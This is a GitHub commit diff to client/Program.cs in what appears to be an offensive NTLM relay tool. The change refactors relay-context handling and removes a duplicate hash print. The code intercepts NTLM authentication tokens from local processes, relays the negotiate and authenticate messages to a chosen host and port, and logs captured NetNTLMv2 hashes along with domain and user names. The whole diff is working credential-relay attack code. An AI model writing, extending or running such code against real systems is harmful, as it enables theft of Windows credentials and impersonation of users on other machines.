Skip to content

Commit abdbbd3

Browse files
committed
Fixed double print of NetNTLM hashes. Fixed warning messages for missing relay context
1 parent 43c9764 commit abdbbd3

File tree

1 file changed

+12
-14
lines changed

1 file changed

+12
-14
lines changed

client/Program.cs

Lines changed: 12 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -194,18 +194,23 @@ static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
194194
var token = NtlmAuthenticationToken.Parse(relayRequest.Token);
195195
BitseryObject lsaResponse;
196196
bool doPassive = DoPassiveMode(relayRequest.ProcessID);
197+
NtlmAuth authContext;
197198

198-
if (token is NtlmNegotiateAuthenticationToken) {
199-
200-
var newAuthContext = new NtlmAuth(relayRequest.Context, !doPassive ? new NtlmRelayChallengeResponse(host, port) : null);
201-
activeContext[newAuthContext.Context] = newAuthContext;
199+
if (!activeContext.ContainsKey(relayRequest.Context)){
200+
authContext = new NtlmAuth(relayRequest.Context, !doPassive ? new NtlmRelayChallengeResponse(host, port) : null);
201+
activeContext[authContext.Context] = authContext;
202+
} else {
203+
authContext = activeContext[relayRequest.Context];
204+
}
202205

206+
if (token is NtlmNegotiateAuthenticationToken) {
207+
203208
if (!doPassive) {
204-
var relayResponse = newAuthContext.Relayer.GetChallengeToken(relayRequest.Token);
209+
var relayResponse = authContext.Relayer.GetChallengeToken(relayRequest.Token);
205210

206211
if (relayResponse.Length > 0) {
207212
lsaResponse = new RelayChallengeResponse(relayResponse);
208-
newAuthContext.Challenge = (NtlmChallengeAuthenticationToken)NtlmAuthenticationToken.Parse(relayResponse);
213+
authContext.Challenge = (NtlmChallengeAuthenticationToken)NtlmAuthenticationToken.Parse(relayResponse);
209214
} else {
210215
Console.WriteLine($"[!] Failed to relay NTLM Type 1 and get challenge");
211216
lsaResponse = new RelayChallengeResponse(RelayStatus.Passive);
@@ -223,15 +228,13 @@ static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
223228

224229
} else {
225230

226-
var authContext = activeContext[relayRequest.Context];
227231
activeContext.Remove(relayRequest.Context);
228232
authContext.Authentication = ntlmAuthenticate;
229233
bool? success = null;
230234
string userName = $"{ntlmAuthenticate.Domain}\\{ntlmAuthenticate.UserName}";
231235

232236
if (!doPassive && !string.IsNullOrEmpty(ntlmAuthenticate.UserName)) {
233237
success = authContext.Relayer.SendAuthenticateToken(relayRequest.Token);
234-
PrintNTLMv2(authContext, relayRequest.Process.ProcessName, success);
235238

236239
UserInfo userInfo = new UserInfo(ntlmAuthenticate.UserName, ntlmAuthenticate.Domain);
237240

@@ -258,12 +261,7 @@ static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
258261

259262
} else if (token is NtlmChallengeAuthenticationToken challengeToken) {
260263

261-
if (activeContext.ContainsKey(relayRequest.Context)) {
262-
activeContext[relayRequest.Context].Challenge = challengeToken;
263-
} else {
264-
Console.WriteLine("[!] Got passive NTLM challenge message without a valid context");
265-
}
266-
264+
authContext.Challenge = challengeToken;
267265
lsaResponse = new RelayChallengeResponse(RelayStatus.Passive);
268266

269267
} else {

0 commit comments

Comments
 (0)